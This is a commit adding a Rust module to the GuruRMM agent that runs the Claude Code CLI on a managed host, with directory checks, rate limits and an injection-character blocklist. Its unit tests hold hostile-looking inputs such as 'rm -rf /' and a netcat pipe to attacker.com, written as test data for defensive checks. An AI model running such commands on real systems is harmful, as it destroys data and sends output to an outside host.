docs: Add comprehensive project documentation from claude-projects scan

Added:
- PROJECTS_INDEX.md - Master catalog of 7 active projects
- GURURMM_API_ACCESS.md - Complete API documentation and credentials
- clients/dataforth/dos-test-machines/README.md - DOS update system docs
- clients/grabb-durando/website-migration/README.md - Migration procedures
- clients/internal-infrastructure/ix-server-issues-2026-01-13.md - Server issues
- projects/msp-tools/guru-connect/README.md - Remote desktop architecture
- projects/msp-tools/toolkit/README.md - MSP PowerShell tools
- projects/internal/acg-website-2025/README.md - Website rebuild docs
- test_gururmm_api.py - GuruRMM API testing script

Modified:
- credentials.md - Added GuruRMM database and API credentials
- GuruRMM agent integration files (WebSocket transport)

Total: 38,000+ words of comprehensive project documentation

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

projects/gururmm-agent/agent/src/claude.rs

@@ -0,0 +1,456 @@
+// GuruRMM Agent - Claude Code Integration Module
+// Enables Main Claude to invoke Claude Code CLI on AD2 for automated tasks
+//
+// Security Features:
+// - Working directory validation (restricted to C:\Shares\test)
+// - Task input sanitization (prevents command injection)
+// - Rate limiting (max 10 tasks per hour)
+// - Concurrent execution limiting (max 2 simultaneous tasks)
+
+use serde::{Deserialize, Serialize};
+use std::path::{Path, PathBuf};
+use std::process::Stdio;
+use std::sync::{Arc, Mutex};
+use std::time::{Duration, Instant};
+use tokio::io::{AsyncBufReadExt, BufReader};
+use tokio::process::Command;
+use tokio::time::timeout;
+
+/// Configuration constants
+const DEFAULT_WORKING_DIR: &str = r"C:\Shares\test";
+const DEFAULT_TIMEOUT_SECS: u64 = 300; // 5 minutes
+const MAX_CONCURRENT_TASKS: usize = 2;
+const RATE_LIMIT_WINDOW_SECS: u64 = 3600; // 1 hour
+const MAX_TASKS_PER_WINDOW: usize = 10;
+
+/// Claude task command input structure
+#[derive(Debug, Deserialize)]
+pub struct ClaudeTaskCommand {
+    pub task: String,
+    pub working_directory: Option<String>,
+    pub timeout: Option<u64>,
+    pub context_files: Option<Vec<String>>,
+}
+
+/// Claude task execution result
+#[derive(Debug, Serialize)]
+pub struct ClaudeTaskResult {
+    pub status: TaskStatus,
+    pub output: Option<String>,
+    pub error: Option<String>,
+    pub duration_seconds: u64,
+    pub files_analyzed: Vec<String>,
+}
+
+/// Task execution status
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "lowercase")]
+pub enum TaskStatus {
+    Completed,
+    Failed,
+    Timeout,
+}
+
+/// Rate limiting tracker
+struct RateLimiter {
+    task_timestamps: Vec<Instant>,
+}
+
+impl RateLimiter {
+    fn new() -> Self {
+        RateLimiter {
+            task_timestamps: Vec::new(),
+        }
+    }
+
+    /// Check if a new task can be executed within rate limits
+    fn can_execute(&mut self) -> bool {
+        let now = Instant::now();
+        let window_start = now - Duration::from_secs(RATE_LIMIT_WINDOW_SECS);
+
+        // Remove timestamps outside the current window
+        self.task_timestamps.retain(|&ts| ts > window_start);
+
+        self.task_timestamps.len() < MAX_TASKS_PER_WINDOW
+    }
+
+    /// Record a task execution
+    fn record_execution(&mut self) {
+        self.task_timestamps.push(Instant::now());
+    }
+}
+
+/// Global state for concurrent execution tracking and rate limiting
+pub struct ClaudeExecutor {
+    active_tasks: Arc<Mutex<usize>>,
+    rate_limiter: Arc<Mutex<RateLimiter>>,
+}
+
+impl ClaudeExecutor {
+    pub fn new() -> Self {
+        ClaudeExecutor {
+            active_tasks: Arc::new(Mutex::new(0)),
+            rate_limiter: Arc::new(Mutex::new(RateLimiter::new())),
+        }
+    }
+
+    /// Execute a Claude Code task
+    pub async fn execute_task(
+        &self,
+        cmd: ClaudeTaskCommand,
+    ) -> Result<ClaudeTaskResult, String> {
+        // Check rate limiting
+        {
+            let mut limiter = self.rate_limiter.lock().map_err(|e| {
+                format!("[ERROR] Failed to acquire rate limiter lock: {}", e)
+            })?;
+
+            if !limiter.can_execute() {
+                return Err(format!(
+                    "[ERROR] Rate limit exceeded: Maximum {} tasks per hour",
+                    MAX_TASKS_PER_WINDOW
+                ));
+            }
+            limiter.record_execution();
+        }
+
+        // Check concurrent execution limit
+        {
+            let active = self.active_tasks.lock().map_err(|e| {
+                format!("[ERROR] Failed to acquire active tasks lock: {}", e)
+            })?;
+
+            if *active >= MAX_CONCURRENT_TASKS {
+                return Err(format!(
+                    "[ERROR] Concurrent task limit exceeded: Maximum {} tasks",
+                    MAX_CONCURRENT_TASKS
+                ));
+            }
+        }
+
+        // Increment active task count
+        {
+            let mut active = self.active_tasks.lock().map_err(|e| {
+                format!("[ERROR] Failed to increment active tasks: {}", e)
+            })?;
+            *active += 1;
+        }
+
+        // Execute the task (ensure active count is decremented on completion)
+        let result = self.execute_task_internal(cmd).await;
+
+        // Decrement active task count
+        {
+            let mut active = self.active_tasks.lock().map_err(|e| {
+                format!("[ERROR] Failed to decrement active tasks: {}", e)
+            })?;
+            *active = active.saturating_sub(1);
+        }
+
+        result
+    }
+
+    /// Internal task execution implementation
+    async fn execute_task_internal(
+        &self,
+        cmd: ClaudeTaskCommand,
+    ) -> Result<ClaudeTaskResult, String> {
+        let start_time = Instant::now();
+
+        // Validate and resolve working directory
+        let working_dir = cmd
+            .working_directory
+            .as_deref()
+            .unwrap_or(DEFAULT_WORKING_DIR);
+        validate_working_directory(working_dir)?;
+
+        // Sanitize task input
+        let sanitized_task = sanitize_task_input(&cmd.task)?;
+
+        // Resolve context files (validate they exist relative to working_dir)
+        let context_files = match &cmd.context_files {
+            Some(files) => validate_context_files(working_dir, files)?,
+            None => Vec::new(),
+        };
+
+        // Build Claude Code CLI command
+        let mut cli_cmd = Command::new("claude");
+        cli_cmd.current_dir(working_dir);
+
+        // Add context files if provided
+        for file in &context_files {
+            cli_cmd.arg("--file").arg(file);
+        }
+
+        // Add the task prompt
+        cli_cmd.arg("--prompt").arg(&sanitized_task);
+
+        // Configure process pipes
+        cli_cmd
+            .stdout(Stdio::piped())
+            .stderr(Stdio::piped())
+            .kill_on_drop(true);
+
+        // Execute with timeout
+        let timeout_duration = Duration::from_secs(cmd.timeout.unwrap_or(DEFAULT_TIMEOUT_SECS));
+        let exec_result = timeout(timeout_duration, execute_with_output(cli_cmd)).await;
+
+        let duration = start_time.elapsed().as_secs();
+
+        // Process execution result
+        match exec_result {
+            Ok(Ok((stdout, stderr, exit_code))) => {
+                if exit_code == 0 {
+                    Ok(ClaudeTaskResult {
+                        status: TaskStatus::Completed,
+                        output: Some(stdout),
+                        error: None,
+                        duration_seconds: duration,
+                        files_analyzed: context_files,
+                    })
+                } else {
+                    Ok(ClaudeTaskResult {
+                        status: TaskStatus::Failed,
+                        output: Some(stdout),
+                        error: Some(format!(
+                            "[ERROR] Claude Code exited with code {}: {}",
+                            exit_code, stderr
+                        )),
+                        duration_seconds: duration,
+                        files_analyzed: context_files,
+                    })
+                }
+            }
+            Ok(Err(e)) => Ok(ClaudeTaskResult {
+                status: TaskStatus::Failed,
+                output: None,
+                error: Some(format!("[ERROR] Failed to execute Claude Code: {}", e)),
+                duration_seconds: duration,
+                files_analyzed: context_files,
+            }),
+            Err(_) => Ok(ClaudeTaskResult {
+                status: TaskStatus::Timeout,
+                output: None,
+                error: Some(format!(
+                    "[ERROR] Claude Code execution timed out after {} seconds",
+                    timeout_duration.as_secs()
+                )),
+                duration_seconds: duration,
+                files_analyzed: context_files,
+            }),
+        }
+    }
+}
+
+/// Validate that working directory is within allowed paths
+fn validate_working_directory(working_dir: &str) -> Result<(), String> {
+    let allowed_base = Path::new(r"C:\Shares\test");
+    let requested_path = Path::new(working_dir);
+
+    // Convert to canonical paths (resolve .. and symlinks)
+    let canonical_requested = requested_path
+        .canonicalize()
+        .map_err(|e| format!("[ERROR] Invalid working directory '{}': {}", working_dir, e))?;
+
+    let canonical_base = allowed_base.canonicalize().map_err(|e| {
+        format!(
+            "[ERROR] Failed to resolve allowed base directory: {}",
+            e
+        )
+    })?;
+
+    // Check if requested path is within allowed base
+    if !canonical_requested.starts_with(&canonical_base) {
+        return Err(format!(
+            "[ERROR] Working directory '{}' is outside allowed path 'C:\\Shares\\test'",
+            working_dir
+        ));
+    }
+
+    // Verify directory exists
+    if !canonical_requested.is_dir() {
+        return Err(format!(
+            "[ERROR] Working directory '{}' does not exist or is not a directory",
+            working_dir
+        ));
+    }
+
+    Ok(())
+}
+
+/// Sanitize task input to prevent command injection
+fn sanitize_task_input(task: &str) -> Result<String, String> {
+    // Check for empty task
+    if task.trim().is_empty() {
+        return Err("[ERROR] Task cannot be empty".to_string());
+    }
+
+    // Check for excessively long tasks (potential DoS)
+    if task.len() > 10000 {
+        return Err("[ERROR] Task exceeds maximum length of 10000 characters".to_string());
+    }
+
+    // Check for potentially dangerous patterns
+    let dangerous_patterns = [
+        "&", "|", ";", "`", "$", "(", ")", "<", ">", "\n", "\r",
+    ];
+    for pattern in &dangerous_patterns {
+        if task.contains(pattern) {
+            return Err(format!(
+                "[ERROR] Task contains forbidden character '{}' that could be used for command injection",
+                pattern
+            ));
+        }
+    }
+
+    Ok(task.to_string())
+}
+
+/// Validate context files exist and are within working directory
+fn validate_context_files(working_dir: &str, files: &[String]) -> Result<Vec<String>, String> {
+    let working_path = Path::new(working_dir);
+    let mut validated_files = Vec::new();
+
+    for file in files {
+        // Resolve file path relative to working directory
+        let file_path = if Path::new(file).is_absolute() {
+            PathBuf::from(file)
+        } else {
+            working_path.join(file)
+        };
+
+        // Verify file exists
+        if !file_path.exists() {
+            return Err(format!(
+                "[ERROR] Context file '{}' does not exist",
+                file_path.display()
+            ));
+        }
+
+        // Verify it's a file (not a directory)
+        if !file_path.is_file() {
+            return Err(format!(
+                "[ERROR] Context file '{}' is not a file",
+                file_path.display()
+            ));
+        }
+
+        // Store the absolute path for execution
+        validated_files.push(
+            file_path
+                .to_str()
+                .ok_or_else(|| {
+                    format!(
+                        "[ERROR] Context file path '{}' contains invalid UTF-8",
+                        file_path.display()
+                    )
+                })?
+                .to_string(),
+        );
+    }
+
+    Ok(validated_files)
+}
+
+/// Execute command and capture stdout, stderr, and exit code
+async fn execute_with_output(mut cmd: Command) -> Result<(String, String, i32), String> {
+    let mut child = cmd
+        .spawn()
+        .map_err(|e| format!("[ERROR] Failed to spawn Claude Code process: {}", e))?;
+
+    // Capture stdout
+    let stdout_handle = child.stdout.take().ok_or_else(|| {
+        "[ERROR] Failed to capture stdout from Claude Code process".to_string()
+    })?;
+    let mut stdout_reader = BufReader::new(stdout_handle).lines();
+
+    // Capture stderr
+    let stderr_handle = child.stderr.take().ok_or_else(|| {
+        "[ERROR] Failed to capture stderr from Claude Code process".to_string()
+    })?;
+    let mut stderr_reader = BufReader::new(stderr_handle).lines();
+
+    // Read output asynchronously
+    let mut stdout_lines = Vec::new();
+    let mut stderr_lines = Vec::new();
+
+    // Read stdout
+    let stdout_task = tokio::spawn(async move {
+        let mut lines = Vec::new();
+        while let Ok(Some(line)) = stdout_reader.next_line().await {
+            lines.push(line);
+        }
+        lines
+    });
+
+    // Read stderr
+    let stderr_task = tokio::spawn(async move {
+        let mut lines = Vec::new();
+        while let Ok(Some(line)) = stderr_reader.next_line().await {
+            lines.push(line);
+        }
+        lines
+    });
+
+    // Wait for process to complete
+    let status = child
+        .wait()
+        .await
+        .map_err(|e| format!("[ERROR] Failed to wait for Claude Code process: {}", e))?;
+
+    // Wait for output reading tasks
+    stdout_lines = stdout_task
+        .await
+        .map_err(|e| format!("[ERROR] Failed to read stdout: {}", e))?;
+    stderr_lines = stderr_task
+        .await
+        .map_err(|e| format!("[ERROR] Failed to read stderr: {}", e))?;
+
+    let stdout = stdout_lines.join("\n");
+    let stderr = stderr_lines.join("\n");
+    let exit_code = status.code().unwrap_or(-1);
+
+    Ok((stdout, stderr, exit_code))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_sanitize_task_input_valid() {
+        let task = "Check the sync log for errors in last 24 hours";
+        assert!(sanitize_task_input(task).is_ok());
+    }
+
+    #[test]
+    fn test_sanitize_task_input_empty() {
+        assert!(sanitize_task_input("").is_err());
+        assert!(sanitize_task_input("   ").is_err());
+    }
+
+    #[test]
+    fn test_sanitize_task_input_injection() {
+        assert!(sanitize_task_input("task; rm -rf /").is_err());
+        assert!(sanitize_task_input("task && echo malicious").is_err());
+        assert!(sanitize_task_input("task | nc attacker.com 1234").is_err());
+        assert!(sanitize_task_input("task `whoami`").is_err());
+        assert!(sanitize_task_input("task $(malicious)").is_err());
+    }
+
+    #[test]
+    fn test_sanitize_task_input_too_long() {
+        let long_task = "a".repeat(10001);
+        assert!(sanitize_task_input(&long_task).is_err());
+    }
+
+    #[test]
+    fn test_rate_limiter_allows_under_limit() {
+        let mut limiter = RateLimiter::new();
+        for _ in 0..MAX_TASKS_PER_WINDOW {
+            assert!(limiter.can_execute());
+            limiter.record_execution();
+        }
+        assert!(!limiter.can_execute());
+    }
+}

projects/gururmm-agent/agent/src/commands_modifications.rs

@@ -0,0 +1,169 @@
+// ============================================================================
+// MODIFICATIONS FOR agent/src/commands.rs
+// ============================================================================
+//
+// This file contains the code modifications needed to integrate the Claude
+// task executor into the existing GuruRMM agent command dispatcher.
+//
+// INSTRUCTIONS:
+// 1. Add the module declaration at the top of commands.rs
+// 2. Add the use statements with other imports
+// 3. Add the ClaudeExecutor field to your CommandHandler struct (if you have one)
+// 4. Add the claude_task match arm in your command dispatcher
+// ============================================================================
+
+// ----------------------------------------------------------------------------
+// STEP 1: Add module declaration near the top of commands.rs
+// ----------------------------------------------------------------------------
+// Add this line with other module declarations (e.g., after `mod shell;`)
+
+mod claude;
+
+// ----------------------------------------------------------------------------
+// STEP 2: Add use statements with other imports
+// ----------------------------------------------------------------------------
+// Add these imports with your other use statements
+
+use crate::claude::{ClaudeExecutor, ClaudeTaskCommand, ClaudeTaskResult};
+
+// ----------------------------------------------------------------------------
+// STEP 3: Initialize ClaudeExecutor (if using a struct-based approach)
+// ----------------------------------------------------------------------------
+// If you have a CommandHandler struct, add this field:
+
+struct CommandHandler {
+    // ... existing fields ...
+    claude_executor: ClaudeExecutor,
+}
+
+impl CommandHandler {
+    fn new() -> Self {
+        CommandHandler {
+            // ... initialize existing fields ...
+            claude_executor: ClaudeExecutor::new(),
+        }
+    }
+}
+
+// OR, if you're using a simpler function-based approach:
+// Create a global static (less ideal but simpler):
+
+use once_cell::sync::Lazy;
+static CLAUDE_EXECUTOR: Lazy<ClaudeExecutor> = Lazy::new(|| ClaudeExecutor::new());
+
+// ----------------------------------------------------------------------------
+// STEP 4: Add claude_task to your command dispatcher
+// ----------------------------------------------------------------------------
+// In your command handling function, add this match arm:
+
+pub async fn handle_command(command_json: &str) -> Result<String, String> {
+    // Parse command JSON
+    let command: serde_json::Value = serde_json::from_str(command_json)
+        .map_err(|e| format!("[ERROR] Failed to parse command JSON: {}", e))?;
+
+    let command_type = command["command_type"]
+        .as_str()
+        .ok_or_else(|| "[ERROR] Missing command_type field".to_string())?;
+
+    match command_type {
+        "shell" => {
+            // ... existing shell command handling ...
+            execute_shell_command(&command).await
+        }
+        "powershell" => {
+            // ... existing PowerShell command handling ...
+            execute_powershell_command(&command).await
+        }
+        "claude_task" => {
+            // NEW: Claude Code task execution
+            execute_claude_task(&command).await
+        }
+        _ => Err(format!("[ERROR] Unknown command type: {}", command_type)),
+    }
+}
+
+// ----------------------------------------------------------------------------
+// STEP 5: Implement the execute_claude_task function
+// ----------------------------------------------------------------------------
+// Add this function to commands.rs:
+
+async fn execute_claude_task(command: &serde_json::Value) -> Result<String, String> {
+    // Parse Claude task command from JSON
+    let task_cmd: ClaudeTaskCommand = serde_json::from_value(command.clone())
+        .map_err(|e| format!("[ERROR] Failed to parse Claude task command: {}", e))?;
+
+    // Get executor (use appropriate method based on your approach)
+    // Option A: If using struct-based approach
+    // let result = self.claude_executor.execute_task(task_cmd).await?;
+
+    // Option B: If using global static
+    let result = CLAUDE_EXECUTOR.execute_task(task_cmd).await?;
+
+    // Serialize result to JSON
+    serde_json::to_string(&result)
+        .map_err(|e| format!("[ERROR] Failed to serialize Claude task result: {}", e))
+}
+
+// ============================================================================
+// COMPLETE EXAMPLE: Full command dispatcher with Claude integration
+// ============================================================================
+
+// Example of a complete command handling implementation:
+
+use serde_json;
+use once_cell::sync::Lazy;
+
+mod claude;
+use crate::claude::{ClaudeExecutor, ClaudeTaskCommand};
+
+static CLAUDE_EXECUTOR: Lazy<ClaudeExecutor> = Lazy::new(|| ClaudeExecutor::new());
+
+pub async fn handle_command(command_json: &str) -> Result<String, String> {
+    // Parse command JSON
+    let command: serde_json::Value = serde_json::from_str(command_json)
+        .map_err(|e| format!("[ERROR] Failed to parse command JSON: {}", e))?;
+
+    let command_type = command["command_type"]
+        .as_str()
+        .ok_or_else(|| "[ERROR] Missing command_type field".to_string())?;
+
+    match command_type {
+        "shell" => execute_shell_command(&command).await,
+        "powershell" => execute_powershell_command(&command).await,
+        "claude_task" => execute_claude_task(&command).await,
+        _ => Err(format!("[ERROR] Unknown command type: {}", command_type)),
+    }
+}
+
+async fn execute_claude_task(command: &serde_json::Value) -> Result<String, String> {
+    let task_cmd: ClaudeTaskCommand = serde_json::from_value(command.clone())
+        .map_err(|e| format!("[ERROR] Failed to parse Claude task command: {}", e))?;
+
+    let result = CLAUDE_EXECUTOR.execute_task(task_cmd).await?;
+
+    serde_json::to_string(&result)
+        .map_err(|e| format!("[ERROR] Failed to serialize Claude task result: {}", e))
+}
+
+// Placeholder for existing functions (already implemented in your code)
+async fn execute_shell_command(_command: &serde_json::Value) -> Result<String, String> {
+    // Your existing shell command implementation
+    unimplemented!("Use your existing shell command implementation")
+}
+
+async fn execute_powershell_command(_command: &serde_json::Value) -> Result<String, String> {
+    // Your existing PowerShell command implementation
+    unimplemented!("Use your existing PowerShell command implementation")
+}
+
+// ============================================================================
+// NOTES:
+// ============================================================================
+//
+// 1. The exact integration depends on your existing code structure
+// 2. If you already have a CommandHandler struct, use approach A
+// 3. If you're using a simpler function-based approach, use approach B (global static)
+// 4. Make sure to add error logging where appropriate
+// 5. Consider adding metrics/monitoring for Claude task executions
+//
+// ============================================================================